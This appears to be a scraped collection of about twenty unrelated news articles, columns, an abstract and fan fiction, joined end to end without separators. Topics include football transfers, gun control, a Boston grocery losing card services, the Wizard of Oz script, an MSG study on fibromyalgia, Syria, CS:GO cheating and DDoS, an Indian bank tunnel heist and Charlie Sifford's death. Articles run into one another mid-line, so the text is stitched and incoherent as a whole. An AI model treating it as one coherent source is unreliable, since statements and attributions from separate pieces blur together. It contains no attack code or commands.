Simon Davies
Pros: International and Premier League pedigree.
Cons: Injury issues have damaged him of late.
Back in the days when Davies was a rising star at Tottenham, he was being compared favourably to compatriot Ryan Giggs and earning plaudits aplenty, but those days are a distant memory now. He has not kicked a ball in anger since March 2012, which says much about his fragile frame.
Verdict: Injury has played a part in his decline, so Davies would be a risky signing this summer. He may be forced to look at the Championship for a new club.
Richard Dunne
Pros: A defensive giant at his best.
Cons: He has barely played over the past 18 months.
Republic of Ireland great Dunne may be edging towards the end of his career, yet he could have a final Premier League season left in his aching bones if a top-flight manager is willing to gamble on his dubious fitness record. He may also be a valuable asset for a team with eyes on promotion from the Championship.
Verdict: Dunne may be offered pay-as-you-play deals given his injury problems, but he is a decent bet for a club looking for a defensive bargain.Newt Gingrich said Wednesday that it would be "common sense" for Congress to consider gun control legislation that makes rapid-fire gun modifications illegal, allowing laws to "catch up" with technology.
"Look, if there is something that makes it easy to convert a semi-automatic into an automatic, then maybe that does have to be looked at and put under the Federal Firearms Act, which makes it illegal to have a genuinely automatic weapon," Gingrich told Fox News. "I think this is as technology changes, sometimes we have to change the rules to catch up with those technologies."
Gingrich, a former House speaker and staunch Second Amendment advocate, said that it was "a practical, common sense thing" to prohibit new, "relatively cheap" technology, such as the bump stock device used by Las Vegas shooter Stephen Paddock to kill 59 people and injure 500 more at the Route 91 Harvest country musical festival on Sunday.
Gingrich also said automatic weapons were "extraordinarily dangerous" and that "there ought to be significant limitations on being able to use them."
"Nobody seriously argues you ought to be able to walk around with a.50 caliber machine gun," Gingrich added.Ramon Mansour and his brothers run the Syrian Grocery on Shawmut Avenue in the South End.
Here’s what you get when you combine three old-fashioned guys, one modern bank, and a war on the other side of the planet.
Ramon, Joey, and Monty Mansour run the paradise that is the Syrian Grocery store on Shawmut Avenue in the South End. Amidst the skyrocketing real estate prices, endless renovations, and outlets selling gourmet cheese and handcrafted dog biscuits, their place stands out. It is little changed from when their father bought it in 1967, when the neighborhood was full of Syrian and Lebanese immigrants. The turquoise shelves are stacked with dried apricots, tahini, date syrup, and pomegranate molasses. The place smells of spices, olives, and distant childhoods.
The holidays are busy here. Recent arrivals stop in for exotic provisions, and longtime customers come from far away to stock up on familiar comforts.
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And so things were going along nicely on the Tuesday before Thanksgiving, when all of a sudden the store’s credit card machine refused to cooperate.
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“Host error 26 call help desk,” it insisted, unhelpfully.
Ramon called Bank of America, which took over the bank which took over the bank which took over the bank his family first joined 40 years ago, and they told him the store’s credit card services had been terminated.
It turns out someone at Bank of America Merchant Services had taken a look at the store’s official name, Syrian Grocery and Importing Co., and decided that the Mansours might be violating the US Treasury Department’s ban on importing goods from Syria, where mayhem rules.
Now, the Mansours do not import anything directly from Syria. The few Syrian items they carry come through vendors in Lebanon and Michigan. They kept the store’s original name, even though they are Lebanese. How could they have known it would lead to this?
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Ramon could have told the Bank of America Merchant Services guy these things if he’d talked to him, but he happened to be out of the store when he called, a week before, to warn that the terminal would be shut down. Joey answered the phone that day, but the man would speak only to Ramon, who was at the Bank of America branch a couple of blocks away.
Ramon says a bank worker there warned him the call might be a scam, so he decided to wait for an official letter. The brothers say Bank of America did not call again. Eventually, a letter arrived warning them that their contract would be terminated in 30 days — 37 days late, on Dec. 3.
Not being able to take credit cards is a big deal for these guys. “I’ve had to turn away numerous customers,” Ramon said. He lost $232 in credit purchases from that day and about $2,000 in sales since. “I don’t think that’s right, the way they went about this here. We have been a longtime customer. They just took our name and profiled us.”
Technically, Bank of America Merchant Services is a separate entity from Bank of America, which owns 49 percent of the company. I called the company Tuesday to ask about the Mansours. A very nice spokesman said he couldn’t comment on specific accounts, but added, “We always attempt to work with customers that have account issues as they arise, while ensuring the card transactions we process comply with all federal rules and regulations.”
Afterward, the company got back in touch with Ramon. They needed him to answer a couple of questions, Ramon said, before he could apply to have his services reinstated. Ramon refused. He’s looking for another company to sign on with.
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“What’s the point of answering these questions now,” Ramon said. “It’s too late.”
In the scheme of things, a few thousand dollars’ loss in one store in one holiday season might not seem like much. But it’s a big deal to these guys, who specialize in something the bank seems to have lost track of years ago: personal attention to customers and basic courtesy.
In this collision between the behemoth and the little guys, it’s no mystery who won.
Bank of America, what are you going to do about it?
Yvonne Abraham is a Globe columnist. She can be reached at abraham@globe.com. Follow her on Twitter @GlobeAbrahamWe dimmed the lights. In our pajamas, we huddled together under a blanket. The annual television broadcast of The Wizard of Oz was a national ritual when we baby boomers were kids. It would be years before I saw the Technicolor land of Oz bloom outside Dorothy’s black-and-white farmhouse, as we didn’t have a color TV. Years, too, before I would come up with the idea for a novel, Wicked, which inspired the Broadway musical.
Thanks to MGM’s 1939 film, Dorothy’s adventure in Oz has become a foundation myth of American culture. On a recent afternoon in my study, I pored over a photocopy of a touchstone memento from the film—a typewritten studio script. The original, in the collections of the National Museum of American History and dated May 4, 1938, consists of about 100 pages. Though other writers, including lyricist E. Y. Harburg, who penned “Over the Rainbow,” would refine and polish the story, this draft is the work of Noel Langley. He based the script on L. Frank Baum’s 1900 novel for children, The Wonderful Wizard of Oz.
Langley, South African-born, was selected as the screenwriter because of his whimsical 1937 children’s book, The Tale of the Land of Green Ginger. Langley’s fantasy features the Emperor Aladdin, an ordinary fellow presiding over an enchanted realm. In the first chapter, Aladdin informs his courtiers, “You may dispense with the rising and bowing at the mention of my name, or we’ll never finish.” Echoes of Green Ginger are visible in the script: About halfway through, for example, Langley introduces a parlormaid, Lizzie Smithers, who warns the Wizard against returning a bow too often—or he’ll never complete the exercise. Langley, the producers clearly felt, would bring to the Depression-era project a keen awareness of adult pomposity as well as a child’s capacity to feel loss and longing.
The differences between this version and the final shooting script? Hardly a page escapes without crossed-out speeches and handwritten substitutions. Plot points abound that are later abandoned (the Wicked Witch of the West has a son named Bulbo?). Only a couple of scenes refer to singing, and none of the famous lyrics appear. What would become “Over the Rainbow,” which I call America’s unofficial national anthem, is referred to as “the Kansas song.”
What this draft achieves is the compression of choice elements from a best-selling, although rambling, children’s book. In the original novel, the Wicked Witch of the West dies on Page 155, but Dorothy doesn’t leave Oz until 100 pages on. If Langley stuffs in extraneous characters for ballast (a Kansas farmhand and his sweetheart among them), he also abbreviates the trajectory of the story so that the demise of the Wicked Witch of the West kick-starts Dorothy’s return to Kansas.
The American author-illustrator Maurice Sendak believed that The Wizard of Oz film was a rare example of a movie that improves on the original book. I agree with him. Langley consolidates two good witches into one. He eliminates distracting sequences involving populations Dorothy encounters after the Wizard has left in his balloon—the china people (porcelain figures) and the Hammer-Heads (a hard-noggined race).
At a conference, I once chatted on stage with Sir Salman Rushdie. We discovered that, as kids, we both began to write under the influence of the Technicolor light of Oz. Indeed, Rushdie had published an essay on the film just as I was writing a first draft of Wicked. The film’s only misstep, Rushdie told me, was the ending. In the book, Dorothy’s journey is real, but in Langley’s script, she has merely experienced a wild dream.
I agreed that the ending might constitute a cop-out—but there is one way that Langley’s invention suits the story. All the way through the film, Dorothy encounters charlatans and liars. The Wizard has no magic powers. Glinda the Good Witch waits until Dorothy has narrowly averted mortal danger before she reveals the secret of the ruby slippers. The Wicked Witch of the West, bless her little green heart, is the only adult figure who tells the truth. (We must eliminate from this lineup the Scarecrow, the Tin Man and the Cowardly Lion, because as individuals lacking a full complement of their adult powers, they perform the function of childhood friends, not grown-ups in charge.)
When Dorothy wakes up in the film’s final sequence, and the adults dismiss her insistence that she actually had traveled to Oz, we—the audience—realize that adults are so accustomed to lying to protect the young that they can’t recognize the truth when it is spoken. In this way, Langley, like Baum, celebrates the hearts of the young as more innocent and honest than those of their wizened elders.
But we children in the audience know that Dorothy went to Oz. We have faith. The Wizard may have had no power of magic, but the story does. We’ve been on a journey that none of us can ever forget. This typescript has brought us halfway there. A year before the film’s premiere, this draft has promise every step of the way. Sure we’ve come to identify that promise with a rainbow featured in a song that wasn’t yet written. But the promise was there from the very start.OBJECTIVES:
To examine the effects of a challenge with monosodium glutamate (MSG) as compared to placebo on the symptoms of fibromyalgia (FM), in participants who initially experienced >30% remission of symptoms on an excitotoxin elimination diet.
METHODS:
Fifty-seven FM patients who also had irritable bowel syndrome (IBS) were placed on a 4-week diet that excluded dietary additive excitotoxins including MSG and aspartame. Thirty-seven people completed the diet and 84% of those reported that >30% of their symptoms resolved, thus making them eligible to proceed to challenges. Subjects who improved on the diet were then randomised to a 2-week double-blind placebo-controlled crossover challenge with MSG or placebo for 3 consecutive days each week. The primary outcome measure was total symptom score. Secondary outcome measures included visual analogue pain scales (VAS for FM and IBS), an IBS Quality of Life Questionnaire (IBS QOL) and the Fibromyalgia Impact Questionnaire-Revised (FIQR). Repeated measures ANOVA was used to analyse crossover challenge results.
RESULTS:
The MSG challenge, as compared to placebo, resulted in a significant return of symptoms (total symptom score, p<0.02); a worsening of fibromyalgia severity as determined by the FIQR (p<0.03); decreased quality of life in regards to IBS symptoms (IBS QOL, p<0.05); and a non-significant trend toward worsening FM pain based on visual analogue scale (VAS, p<0.07).
CONCLUSIONS:
These findings suggest that dietary glutamate may be contributing to FM symptoms in some patients. Future research on the role of dietary excitotoxins in FM is warranted.A college football coach accused of creating child pornography has insisted for months that the videos found on his cell phone were innocent films of his children acting "silly."
On Friday, the court dropped charges against 46-year-old Todd Hoffner, who had been suspended from his job at Minnesota State-Mankato after his arrest in August, USA Today Sports reports.
The 46-year-old had taken his malfunctioning, University-issued Blackberry to be repaired, and the technician discovered three videos featuring Hoffner's children, ages 5, 8, and 9, naked or partially clothed.
Hoffner was charged with one count of using minors in a sexual performance or pornographic work and one count of possessing child pornography.
Hoffner and his wife stated that the child pornography charges were ridiculous, saying the videos are completely innocent films of his three children acting "silly," laughing and dancing, after a bath.
He testified in October that the children had come downstairs in towels after their baths and asked him to videotape them, and that he never directed them or even watched the video after he had filmed it.
"I felt in my core this was not child pornography," defense attorney Jim Fleming told USA Today Sports. "Once I saw the videos, it was: You have got to be kidding me."
Investigators who searched his computer found no child pornography.
In her ruling dismissing the case against Hoffner, Blue Earth County District Court Krista Jass wrote that "The videos under consideration here contain nude images of Defendant's minor children dancing and acting playful after a bath. That is all they contain."Editor's Note: After 19 months of incessant violence, the Syrian government has agreed to a cease-fire during the four-day Eid al-Adha holiday, which begins Friday, special envoy Lakhdar Brahimi said. He added that some rebels also "agreed to the principle" of a cease-fire. But whether the words lead to any kind of peace remains uncertain. Here are the latest developments:
[Updated 1:52 p.m.] At least 124 people have been killed today in Syria, including 70 in Damascus and its suburbs, the opposition Local Coordination Committees of Syria said.
The opposition and the Syrian government are blaming each other for a massacre in the Damascus suburb Douma. "At least one massacre is perpetrated almost every day across the country where many men, women and children are being slaughtered; all innocent civilians killed in their own homes and in cold blood," the LCC said.
Syria said earlier that "terrorists" carried out a "massacre" in the Damascus suburb of Douma today, killing 25 people, including three children.
Also, Syria is now saying a car bomb earlier today was in the Damascus neighborhood of al-Tadamun. It killed four people and injured 11, Syria says on state-run media.
[Updated 11:26 a.m.] Syria says a car bomb exploded in the Damascus neighborhood of Daf al-Shouk, causing casualties. Officials didn't know how many people may have been hurt or killed.
[Updated 10:28 a.m.] Syria says "terrorists" carried out a "massacre" in the Damascus suburb of Douma today, killing 25 people, including three children. The opposition Local Coordination Committees of Syria says 20 people were executed by Syrian forces in Douma. It's not immediately clear if the two sides are describing the same incident.
In all, 80 people have been killed by Syrian forces today, the LCC says.
[Updated at 7:58 a.m.] The Free Syrian Army is ready to comply with a holiday ceasefire, but only if the Syrian military agrees to specific conditions, a spokesman told CNN from Aleppo, Syria.
"They need to stop the shelling on Homs, Idlib, Aleppo and every city," FSA spokesman Louai Miqdad told CNN. "The Assad military must pledge not to use drones to spy on our locations during the ceasefire and then unleash hellfire against our locations when the four days are over."
Miqdad said there were concerns about the real reason the Syrian government was agreeing to a ceasefire.
"The Assad regime wants to buy time so they can reorganize their troops and send reinforcements, taking advantage of the truce then attack with full force," Miqdad said. "We are not willing to give the regime forces a break so they can come back with more reinforcements and break our backs. We accomplished so much in the last few weeks and we are not willing to sacrifice ourselves by being the scapegoat, the weaker link who will be wiped out after a 4 days ceasefire ends."
[Updated at 6:34 a.m.] Any promise of a cease-fire is just a stalling tactic on the Syrian government's part, the opposition Syrian National Council said.
“Based on our long experience in dealing with the Assad barbaric regime, we know that the Syrian government is just buying time and playing on words," the group's spokesman George Sabra said in a phone call from Paris. "The whole world knows that the Syrian regime cannot be trusted and doesn’t have any credibility in fulfilling any promise that they make to anyone."
[Updated at 6 a.m.]In an email sent from the Syrian foreign affairs ministry, Jihad Makdissi said: “The issue of halt of the military operations during the Eid al-Adha holiday is still under study by the General Command of the Military and the armed forces. A final decision will be issued tomorrow in this regard”.
[Posted at 5:41 a.m.] U.N special envoy to Syria Lakhdar Brahimi said the Syrian government has agreed to a ceasefire during the Eid al-Adha holiday, adding that some opposition armed groups that he had been able to contact had “agreed to the principle” of a ceasefire.
The Muslim holiday of Eid al-Adha begins Friday.
Brahimi was speaking at a press conference in Cairo, after a recent visit to Damascus.
Mindy Kaling is praised for being an ‘average sized’ celebrity. Because of this, she is asked a lot of questions about her body image acceptance. A LOT. She does so with grace, and usually a one-two punch. First Mindy reminds us that every person is valuable, worthy, and deserving of love regardless of their size.
Then she politely delivers a right hook to the media shouting at them that how she looks will never be as important as who she is. And she is a hysterical, smart writer and actress. She has authored two best-selling books. She stars in her own comedy series. The last thing we should be asking her about is her body.
We also wanted to praise Mindy for being a champion of women’s health, because she talks about actual health issues. Mindy shares that she tries to exercise regularly due to her family’s history with cardiovascular disease. Every woman would benefit by being motivated to exercise for long-term good health, instead of short-term weight loss.
We salute Mindy Kaling, who in our opinion, is also good for everyone’s mental health as she keeps us laughing with her amazing wit |
During a news conference in April, DeWine and the county sheriff unveiled a poster of the victims and information about a $10,000 reward for information.
Pike County Sheriff Charles Reader said he has a message for the killers:
"You came in like thieves in the night and took eight lives...some being children,” Reader said. “The most horrific way I have seen in my 20 plus years. We are getting closer. We will find you. The family and the victims will have justice one day."
RELATED: Final autopsy reports out in Pike County killings
Law enforcement officers have conducted nearly 500 interviews and received almost 900 tips making this the biggest case the Bureau of Investigation has ever handled, according to the attorney general.
A reporter the local newspaper told us there have been many theories about who could have done it. Everything from Mexican drug cartels to rival factions within the victim's family.
RELATED: 4 possible motives in Pike County Ohio murders
"People keep swinging back to was it someone within the family?” Stanley said. “We hear that quite a bit.”Back in the year 2015, way before humanity’s expansion into the galaxy, unrest was amongst the citizens on Earth. The media was more and more in the hands of idiots, and new annoying formats – beauty blogs and the like – popped up and began dominating the market. In an attempt to redefine the landscape of 21st century entertainment, the four fabled superstars Etienne Garde, Simon Krätschmer, Daniel Budiman, Nils Bomhoff and their crew brought what is now known as the messias of media, the savior of entertainment: RocketBeansTV. It was a 24/7 webcast that soon took over the market, making the de-facto media outlet of that time, the Television, become obsolete soon.
For almost a millenium, the recordings of the beginnings were lost. In the beginning of 2945 though, an information runner passing the Earth’s moon reported to have found a signal coming from an old device located in one of the craters on the moon. Decoding the data from the signal beacon revealed a full recording of RocketBeansTV since 2015. It is believed to be the work of the extraordinary scientist Nils Bomhoff, who has also predicted every major breakthrough in science and engineering up until the mid of the third millenium – only no one listened to him.
With the combined effort of todays galactic media, it is now possible to re-live the entire history of the RocketBeansTV channel on your MobiGlass! Just head over to Youtube. (Note: to stay as close to the original as possible, the show is not translated to English. Please search your preferred MobiGlass AppStore for an on-the-fly translation app.)Zachary Levi may be starring in Disney's TV installment of the Rapunzel-inspired flick "Tangled," but that hasn't stopped the actor from spreading some fowl rumors about the turkey legs at Walt's theme parks. In a recent appearance on "Conan," SoCal-native Levi shared this tidbit: "I have friends that have worked for Disneyland, and I was talking about how the turkey legs tasted more like ham than they did like turkey, and they said, well they're actually emu." Conan O'Brien — to his credit — wasn't buying it, chalking the whole thing up to an urban myth, but Levi insisted he heard it on very good authority.
This isn't the first time this rumor has surfaced. In 2010, whistleblowers on the site Theme Park Insider cried emu, only to be debunked by commenters. It's come up a few times since then, too: It seems the only thing Disney fans love more than a juicy leg is juicy gossip. But Robert Adams, the executive chef at Disney World, recently put his foot down, telling The Orlando Sentinel, "We hear that all the time. They're real turkeys. It's what they are."Mayor Rob Ford and Councillor Doug Ford attempted Friday to trash the Eglinton Connects streetscape plan as a “war on the car,” despite a move to ease the impact of the remodel on motorists. The brothers’ arguments failed to gain traction with council, which voted 26-7 for the plan.
Toronto Mayor Rob Ford talked to the media on Eglinton Ave. earlier this week about his opposition to the Eglinton Connects road renovation project, tagged by a noisy group of protesters. ( Bernard Weil / Toronto Star )
It calls for wider sidewalks, more trees, bike lanes and other amenities, while shrinking through traffic to one lane in each direction between Mount Pleasant and Avenue Rds. The makeover would take place as the $5 billion Eglinton Crosstown LRT line, now under construction, opens in 2020. The line will run for 19 kilometres in total with 11 kilometres underground. Council was told the LRT eliminates the need for nine bus routes that now travel on Eglinton to the Yonge subway, opening up more space on the street for cars while encouraging more people to use transit.
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However, Mayor Ford said the loss of through-lanes would increase congestion. “We want traffic flowing,” he said during council debate Friday. “Approving this is only making it worse. This is wrong. Keep it as is.” Related: Six things to know about Eglinton Connects
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Eglinton area residents worry laneways will turn into throughways Councillor Ford, who said he drives the route frequently, described the plan as anti-car. “Make no mistake, folks, this is a war on the car. As much as you don’t like to hear this, the auto industry is an important part of the economy. When the auto industry does down, jobs go down.” Councillor Josh Matlow, who represents a stretch of Eglinton, said he agreed that the original plan would have hurt motorists. Matlow moved to add right-turn lanes in both directions at key intersections between Avenue Rd. and Mt. Pleasant Rd. to avoid blocking the through lane. That change was approved 28-5. Residents of the central Eglinton area are already heavy transit users and there is an increase in people walking to work in the area, chief planner Jennifer Keesmaat told council. The LRT, Keesmaat said, “is going to shift more people to be using transit.” Matlow criticized the Fords for attacking the streetscape plan without suggesting changes to make it better. “Where was the leadership today?” said Matlow (Ward 22, St. Paul’s). “We need to get away from false and divisive rhetoric about wars on cars and wars on bikes,” he added. “We need to recognize that Torontonians want to move around our city in a number of different ways and we need to accommodate everyone. Eglinton today is a mess. We need to improve it, but not at the expense of drivers.”WASHINGTON (Reuters) - About 180 Americans have traveled to Syria to join Islamist militants and around 40 of them have returned to the United States, the U.S. National Intelligence director, James Clapper, said on Monday.
Director of U.S. National Intelligence James Clapper speaks at the Council on Foreign Relations in New York March 2, 2015. REUTERS/Shannon Stapleton
Clapper said not all those who went to Syria, where Islamic State militants and other factions are fighting each other and the forces of President Bashar al-Assad, had engaged in the Islamist campaign. Some might have been aid workers, he said.
The United States and its allies believe that more than 20,000 foreign fighters from more than 90 countries have gone to Syria. Islamic State forces have taken over large parts of Syria and neighboring Iraq.
U.S. officials have expressed concern that some Americans, radicalized and trained to stage attacks in Syria, may wreak havoc when they come home. Clapper said he was not aware of any plots in which returning fighters had been involved.
He told a forum at the Council of Foreign Relations that as long as such travelers did not become engaged in violence, it was their “privilege as American citizens” to return to the United States.
Clapper said donations to extremist groups like Islamic State and al Qaeda affiliates by governments and private parties in Muslim countries had recently declined, and said that was partly because of stepped up oversight by governments in the region.
He reiterated that the priority of the United States and its allies in Syria now was the fight against Islamic State. But he said the United States still believed it was essential that Assad leave office because the “magnet for all of this extremism... is because of him.”
He acknowledged that U.S. efforts to recruit, vet and train “moderate” Syrian rebels would be a prolonged effort.
“The issue is the time it is going to take... to get the... firepower that will have an impact,” he said.It's safe to say Valve's $250,000 majors have offered us the best of CS:GO so far, but major problems still lie within the system used for these events.
Since the first $250,000 major took place a year ago at DreamHack Winter, the entire scene has revolved around the community funded events taking place roughly every four months.
With major number four around the corner, we take a look at some of the biggest issues still surrounding these great events, and offer solutions on how to improve on them.
It's important we don't let these issues overshadow what's coming, but we also cannot afford to simply shrug them off as we have so far - improvements must be made by the next go-around.
Certain problems still persist at the majors
Online qualifiers
After the most recent scandals regarding first Joel "emilio" Mako getting caught cheating by VAC, and then ALTERNATE's Robert "sMN" Fredriksson being busted by ESEA's anti-cheat, it's more obvious than ever that cheating is a massive issue in competitive Counter-Strike.
Former Planetkey Dynamics player Anil "cLy" Gülec was VAC banned and not permitted to take part in the majors, but due to FACEIT admins' mistakes was allowed to play in two pre-qualifiers and secure his team a spot in the closed qualifier.
Looking at sMN's statistics, it's likely he's been cheating for a while, as he had a great game in the DreamHack Stockholm qualifier to clinch a spot for ALTERNATE at the event, and then continued to perform well above his career averages in the DreamHack Winter qualifier.
Luckily his team came up short against HellRaisers in two 14-16 losses, but it's possible - if not likely - that he was also cheating then, and with a few rounds altered could have scored his team $50,000.
Following PENTA's surprising qualification to the major, thanks to a narrow victory over HellRaisers, multiple people familiar with the situation suggested someone on the team cheated to ensure their great reads in the match.
Yet another suspect is ESC Gaming's Ralf "rallen" Zarych, whom many assumed was cheating - and according to HLTV.org's sources that included a few admins - against Copenhagen Wolves.
Not only did his team close out two 16-14 wins versus the Danes, both times putting up huge terrorist halves on very defense favored maps, but his team also knocked out sMN's ALTERNATE, ironically.
To further add to that, there's been rumours that a friend of ESC member Jacek "MINISE" Jeziak is behind another huge issue that specifically bothers the Polish Counter-Strike scene - DDoSsing.
After tying the game at 10-10, Copenhagen Wolves were constantly under DDoS attacks until the Poles finally won the map 16-14 to advance in the qualifier towards a spot in Jönköping.
The match wasn't on CSGOLounge, further suggesting someone with something to gain was behind the attack. Last night, a similar thing happened in ESL Pro Series Poland matches, when finals spots were determined.
It's obvious the $50,000 in sticker money - paid out to teams in the ESL One Cologne Challengers capsule - is enough to incentivize many to cheat, when there is no anti cheat preventing them from doing so.
Fixing it isn't easy, but until someone does, there is a good work around. LAN qualifications.
It's time we stop relying on an honor system when there is no honor around. $50,000 winners can't be decided online, not with DDoS and cheating issues like they are today.
Valve must realize this is a real problem, and start hosting LAN qualifiers. Some will say it's too costly, but knowing the sticker money up for grabs, can a few thousand euros for travel be too much? I say no.
At the very least, the number of spots given out via online qualifiers must greatly be reduced, and Valve should find another way to allocate these spots at the major events.
Until a good solution to protect players from DDoS exists, and anti-cheats can catch all the private cheats, spots at the majors should be determined at LAN. Opportunity might not make a thief, but why risk it?
Did gla1ve's Copenhagen Wolves get cheated out of a major?
Questionable format
Considering the scene now revolves around the majors and you can realistically make over $50,000 a year - per player - in sticker money alone, why should best-of-ones decide who gets invited back?
It's ludicrous to think the group stages at majors should be similar to group stages at every significantly smaller event held around the year. Two map wins should not guarantee a spot in the Legends capsule.
Now that Valve and DreamHack have decided - in a great move, by the way - to host a six day bootcamp at Inferno Online for all participants, we know it's not impossible for them to extend these tournaments.
I understand that as long as they are held at exhibitions, you are fairly limited when it comes to the number of days you can use per tournament. However, not the entire tournament has to be played there.
What if instead of a six day bootcamp, Valve gave teams three days to practice at a location similar to Inferno Online, and then used the next three days to host a big group stage?
Group stage could be two groups of eight teams where everyone plays everyone once in a best-of-three, with the top four finishers in each qualifying for the playoffs, to be held at the actual event.
Plus, this would guarantee each participant at least 14 maps of CS to learn from, as opposed to potentially traveling thousands of miles to play just two maps.
Playoffs then could reasonably be played out in best-of-five mode, truly determining who the best team in the world is - which should be the end of all goal of majors, to begin with.
Valve's The International events use a similar format for DotA 2, so it's not out of the question. Hopefully enough people push for the idea, and we can, in the future, see majors where the best team really does win.
Inferno Online could play host to a major's group stage
In the end, this is yet another problem that only Valve can realistically tackle. It's up to the game's creators to set the rules for the organizations hosting their $250,000 majors.
Follow HLTV.org's @lurppis_ on Twitter.Media playback is unsupported on your device Media caption The tunnel used by the robbers is not very big, reports Sanjoy Majumder
It could be a scene straight out of the Hollywood blockbuster, Oceans Eleven.
Gohana is a small, nondescript town in the northern Indian state of Haryana, some three hours drive from the national capital, Delhi.
Inside an abandoned building, just off the town's high street, there's a room full of freshly dug earth.
In one corner, there's a hole no more than a few feet in diameter which leads to a tunnel that was used by thieves to enter the local branch of a bank next door.
"It was a very sophisticated operation," police superintendent Arun Singh tells me.
"It took them more than a month to dig the tunnel - they would dig for four to five hours every day to avoid detection."
Image copyright Other Image caption Police say the tunnel originated in an empty house nearby
Using the light from my mobile phone, I dropped into the tunnel. It's quite a tight space - just a few feet in height and I had to crawl on my hands and knees to move forward.
That's how the men, who planned and executed this sensational heist, made their way through this 100-foot tunnel, under the street and into the main vault of the bank next door.
The bank is now closed and the manager had to open it to let us in.
The vault itself appears to be very secure, at least from the outside. Several keys are used to open the massive steel doors, then a second one beyond it before we enter it.
Inside, the other end of the tunnel is visible in a corner, now sealed by the authorities. And right above it are the safety deposit lockers.
Some eighty or ninety of them have been forced open, their locks still in place and are completely empty.
"They stole cash, jewellery and gold worth millions of rupees," Mr Singh said.
Outside the bank, angry customers are staging a sit-in protest.
"We want the bank manager sacked," says one. "We've lost all our valuables."
There's a sense of disbelief among all, even the police.
"I've never seen anything like this in my long career," says police superintendent Singh, shaking his head.
The sheer audacity of this daring heist has got everyone talking in Gohana but has also placed this town on the national map.Mr. Mayor, is that you?
Just before midnight on Friday, monologist Mike Daisey – star of The Agony and the Ecstasy of Steve Jobs at the Public – addressed the theater people and Occupy Wall Street protestors convening in Paramount Plaza for Occupy Broadway, a 24-hour "creative resistance" promoting accessible art and the right to organize in privately-held public spaces. After an extended run, Daisey’s show will close this weekend before returning to the Public for a second engagement on January 31. But it doens’t sound like he’s looking for a relaxing hiatus: “I challenge Mayor Bloomberg to a Mexican wrestling match,” he announced as he unbuttoned his shirt and stripped down to his pants and sneakers before a few hundred cheering protesters. “When I have him down, when I have my knee in his fucking back … I will actually relent. I will understand what it’s like when you have something that needs to be heard.”
Daisey’s vitriol towards Bloomberg suggests he may have a new post-Jobs monologue subject in mind. “The day after Zuccotti Park was razed, I had an interview on Bloomberg Radio. I go up to the Bloomberg fucking ass dump of chrome and steel – it looks like a billionaire shit it out … it looks like the product of a little man who wants to feel bigger,” Daisey said. “At Bloomberg, you can tell the tit of the fucking industry is stuck right in their fucking mouth … his media trails behind him like a trail of shitty underwear down the street.”
Occupy Broadway, which concludes Saturday night, was organized by members of Occupy Wall Street’s arts and culture working group. Daisey was one of 70 performers, including Adam Rapp and Yes Men, who were scheduled to appear. There were no arrests during the first six hours — cops stood by, chewed gum, and kept their hands in their pockets. The overall vibe was peaceful, more like a mixer than a revolution. The final result was a game of adult show-and-tell with sing-alongs, stories, and hourly readings of the First Amendment.
Daisey began his 25-minutes oration after an awkward introduction (the emcee clarified that Daisey obviously had no idea that Steve Jobs would leave Apple – let alone die – while he was workshopping The Agony and the Ecstasy, then concluded, “Please welcome Steve…Mike Daisey!”) Daisey admitted that he tried and failed to take the show to Broadway. He complimented the younger generation for taking a stand. “That’s the job of people in the theater – to hold space. And that’s the trick – you don’t hold it, you give it back to the audience.”
“I was a little bit skeptical of this because of the carnival atmosphere” – which included a stilt walker, several clowns wearing rainbow wigs, feathered top hats, a “Mayor Bloomberg Scrooge,” “flag doctors” dressed in lab coats, and Reverend Billy, a performance artist whose disciples ascribe to The Church of Life After Shopping – “but I’m feeling it tonight,” said playwright David Lawson.
Related:
Why Mike Daisey’s Critique of Apple Is Too Glib to Really Sting
Monologuing Steve Jobs: Mike Daisey Explores the ‘Agony and EcstasyCharlie Sifford, who only wanted a chance to play and who broke the color barrier in golf as the first black PGA Tour member, died Tuesday night, the PGA of America said.
Sifford, who recently had suffered a stroke, was 92. Details of his death and funeral arrangements were not immediately available.
Charlie Sifford, who broke the PGA Tour's color barrier, was awarded the Presidential Medal of Freedom in November. Patrick McDermott/PGA of America/Getty Images
"His love of golf, despite many barriers in his path, strengthened him as he became a beacon for diversity in our game," PGA of America president Derek Sprague said. "By his courage, Dr. Sifford inspired others to follow their dreams. Golf was fortunate to have had this exceptional American in our midst."
A proud man who endured racial taunts and threats, Sifford set modest goals and achieved more than he had imagined.
Sifford challenged the Caucasian-only clause, and the PGA rescinded it in 1961. He won the Greater Hartford Open in 1967 and the Los Angeles Open in 1969. He also won the 1975 Senior PGA Championship, five years before the Champions Tour was created.
His career was fully recognized in 2004 when he became the first African-American inducted into the World Golf Hall of Fame. This past November, President Barack Obama presented him with the Presidential Medal of Freedom. Jack Nicklaus and Arnold Palmer are the only other golfers who received that honor.
Mr Charlie Sifford died tonite, the greatest African American Golfer most of you never heard of. RIP, Sir! #Presidential Medal of Honor — Samuel L. Jackson (@SamuelLJackson) February 4, 2015
"Charlie won tournaments, but more important, he broke a barrier," Nicklaus once said. "I think what Charlie Sifford has brought to his game has been monumental."
The one goal that eluded him was a chance to play in the Masters, which did not invite its first black player until Lee Elder in 1975. Sifford remained bitter, although the pain was eased when Tiger Woods won the first of his four green jackets in 1997.
Woods often has said he would not have played golf if not for Sifford and other black pioneers.
"It's been tough. Very tough," Woods said in a statement Wednesday. "As I've alluded to in the past, he's like my grandpa that I never had. And it's been a long night and it's going to be a long few days.
"But he fought, and what he did, the courage it took for him to stick with it and be out here and play, I probably wouldn't be here, my dad wouldn't have picked up the game, who knows if the clause would still exist or not. But he broke it down."
The road was never easy.
Sifford was born on June 22, 1922, in Charlotte, North Carolina. He worked as a caddie and dominated the all-black United Golfers Association, winning five straight national titles. He longed to play against the best players, only to run into the same barrier that Teddy Rhodes and Bill Spiller faced -- the Caucasian-only clause.
In his autobiography, "Just Let Me Play," Sifford told of meeting Jackie Robinson in California about the time Robinson was trying to break the color barrier in baseball.
"He asked me if I was a quitter," Sifford wrote. "I told him no. He said, 'If you're not a quitter, you're probably going to experience some things that will make you want to quit.'"
During the 1952 Phoenix Open, one of the few events in which black golfers could play, Sifford found human feces in the cup when he got to the first green. He received death threats over the phone at the 1961 Greater Greensboro Open and heard racial slurs as he walked the fairways. He finished fourth, and didn't quit.Features
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THX Ultra Certification: This unit has been built and tested to conform to the high standards of sound and build quality set by the THX Ultra Certification program. This receiver is equipped with a "THX Cinema" mode that may be used to process movie soundtracks so they are heard as the movie directors intended them to be heard. All THX Select Certified receivers include Re-Equalization, Timbre Matching, Adaptive Decorrelation, Bass Management, Bass Peak Level Manager, and Loudspeaker Position Time Synchronization (delay).
